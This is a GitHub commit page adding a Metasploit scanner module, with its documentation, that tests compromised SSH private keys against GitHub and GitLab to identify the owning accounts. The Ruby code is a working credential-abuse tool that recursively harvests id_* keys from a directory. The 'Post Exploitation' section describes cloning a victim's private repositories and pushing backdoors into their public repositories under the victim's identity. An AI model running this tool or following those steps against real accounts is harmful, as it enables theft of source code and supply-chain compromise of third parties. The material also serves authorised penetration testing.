Skip to content
Permalink
Browse files

Land #12422, Add module for enumerating git keys

  • Loading branch information
dwelch-r7 committed Dec 1, 2019
2 parents d2f83f8 + 02bb97f commit ed94499ea6332f41efa94deb2132e8ba80fa02ac
@@ -0,0 +1,59 @@
## Introduction

This module attempts to authenticate to Git servers using compromised SSH private keys. This module can be used to check a single key or recursively look through a directory. It will not attempt to check keys that have a passphrase, however a bruteforce attack could be launched on a key and then the passphrase could be disabled.

## Setup

1. `ssh-keygen -b 2048 -t rsa`
2. Add the RSA pubic key to a GitHub or GitLab account (Public ends in .pub)
3. Follow the usage instructions below
4. Either use KEY_FILE or KEY_DIR to specify the generated SSH private key
5. Run the module
6. Observe that it will identify the GitHub/GitLab user that this key belongs to

## Usage

```
msf5 > use auxiliary/scanner/ssh/ssh_enum_git_keys
msf5 auxiliary(scanner/ssh/ssh_enum_git_keys) > set KEY_DIR /Users/w/.ssh
KEY_DIR => /Users/w/.ssh
msf5 auxiliary(scanner/ssh/ssh_enum_git_keys) > run
Git Access Data
===============
Key Location User Access
------------ -----------
/Users/w/.ssh/id_ed25519 wdahlenburg
[*] Auxiliary module execution completed
```
## Post Exploitation

Once you have identified a Git user from an SSH key, there are two immediate possibilities.

1. Download private repositories that the owner knows
2. Modify public repositories and inject a backdoor

To begin either, the valid keys will need to be added to the current `~/.ssh/config`.

Example: Using a valid key at /Users/w/.ssh/id_ed25519

1. Write the following to `~/.ssh/config`
`Host github
User git
Hostname github.com
PreferredAuthentications publickey
IdentityFile /Users/w/.ssh/id_ed25519
`
2. Clone a repo using the key
` $ git clone github:<username>/Repo.git`
3. Alternatively, modify an existing local repo by modifying the .git/config file
```
...
[remote "origin"]
url = github:username/reponame.git
...
```
4. Any changes will be pushed using the specified key. Make sure you set the git aliases to match your target.
@@ -0,0 +1,177 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Test SSH Github Access',
'Description' => %q(
This module will attempt to test remote Git access using
(.ssh/id_* private keys). This works against GitHub and
GitLab by default, but can easily be extended to support
more server types.
),
'License' => MSF_LICENSE,
'Author' => ['Wyatt Dahlenburg (@wdahlenb)'],
'Platform' => ['linux'],
'SessionTypes' => ['shell', 'meterpreter'],
'References' => [['URL', 'https://help.github.com/en/articles/testing-your-ssh-connection']]
)
)

register_options(
[
OptPath.new('KEY_FILE', [false, 'Filename of a private key.', nil]),
OptPath.new('KEY_DIR', [false, 'Directory of several keys. Filenames will be recursivley found matching id_* (Ex: /home/user/.ssh)', nil]),
OptString.new('GITSERVER', [true, 'Parameter to specify alternate Git Server (GitHub, GitLab, etc)', 'github.com'])
]
)
deregister_options(
'RHOST', 'RHOSTS', 'PASSWORD', 'PASS_FILE', 'BLANK_PASSWORDS', 'USER_AS_PASS', 'USERPASS_FILE', 'DB_ALL_PASS', 'DB_ALL_CREDS'
)

end

# OPTPath will revert to pwd when set back to ""
def key_dir
datastore['KEY_DIR'] != `pwd`.strip ? datastore['KEY_DIR'] : ""
end

def key_file
datastore['KEY_FILE'] != `pwd`.strip ? datastore['KEY_FILE'] : ""
end

def has_passphrase?(file)
response = `ssh-keygen -y -P "" -f #{file} 2>&1`
return response.include? 'incorrect passphrase'
end

def read_keyfile(file)
if file.is_a? Array
keys = []
file.each do |dir_entry|
next unless ::File.readable? dir_entry

keys.concat(read_keyfile(dir_entry))
end
return keys
else
keyfile = ::File.open(file, "rb") { |f| f.read(f.stat.size) }
end
keys = []
this_key = []
in_key = false
keyfile.split("\n").each do |line|
in_key = true if (line =~ /^-----BEGIN ([RD]SA|OPENSSH) PRIVATE KEY-----/)
this_key << line if in_key
if (line =~ /^-----END ([RD]SA|OPENSSH) PRIVATE KEY-----/)
in_key = false
keys << file unless has_passphrase?(file)
end
end
if keys.empty?
print_error "#{file} - No valid keys found"
end
return keys
end

def parse_user(output)
vprint_status("SSH Test: #{output}")
if (output =~ /You\'ve successfully authenticated/)
return output.match(/Hi (.*)\! You\'ve successfully authenticated/)[1]
elsif (output =~ /Welcome to GitLab, \@(.*)\!$/)
return output.match(/Welcome to GitLab, \@(.*)\!$/)[1]
end
end

def check_git_keys(queue)
threads = datastore['THREADS']
return {} if queue.blank?

threads = 1 if threads <= 0

results = {}
until queue.empty?
t = []
threads = 1 if threads <= 0

if queue.length < threads
threads = queue.length
end

begin
1.upto(threads) do
t << framework.threads.spawn("Module(#{refname})", false, queue.shift) do |file|
Thread.current.kill unless file

config_contents = "Host gitserver\n\tUser git\n\tHostname #{datastore['GITSERVER']}\n\tPreferredAuthentications publickey\n\tIdentityFile #{file}\n"

rand_file = Rex::Quickfile.new
rand_file.puts config_contents
rand_file.close

output = `ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -T -F #{rand_file.path} gitserver 2>&1`
if output.include? "\n"
output = output.split("\n")[-1]
end
user = parse_user(output)
if user
results[file] = user
end
rand_file.delete
end
end
t.map(&:join)
rescue ::Timeout::Error
ensure
t.each { |x| x.kill rescue nil }
end
end
return results
end

def test_keys
if key_file && File.readable?(key_file)
keys = Array(read_keyfile(key_file))
elsif !key_dir.nil? && !key_dir.empty?
return :missing_keyfile unless (File.directory?(key_dir) && File.readable?(key_dir))

@key_files ||= Dir.glob("#{key_dir}/**/id_*", File::FNM_DOTMATCH).reject { |f| f.include? '.pub' }
vprint_status("Identified #{@key_files.size} potential keys")
keys = read_keyfile(@key_files)
else
return {}
end

check_git_keys(keys)
end

def run
if datastore['KEY_FILE'].nil? && datastore['KEY_DIR'].nil?
fail_with Failure::BadConfig, 'Please specify a KEY_FILE or KEY_DIR'
elsif !(key_file.blank? ^ key_dir.blank?)
fail_with Failure::BadConfig, 'Please only specify one KEY_FILE or KEY_DIR'
end

results = test_keys
return if results.empty?

keys_table = Rex::Text::Table.new(
'Header' => "Git Access Data",
'Columns' => [ 'Key Location', 'User Access' ]
)

results.each do |key, user|
keys_table << [key, user]
end

print_line(keys_table.to_s)
end
end

0 comments on commit ed94499

Please sign in to comment.
You can’t perform that action at this time.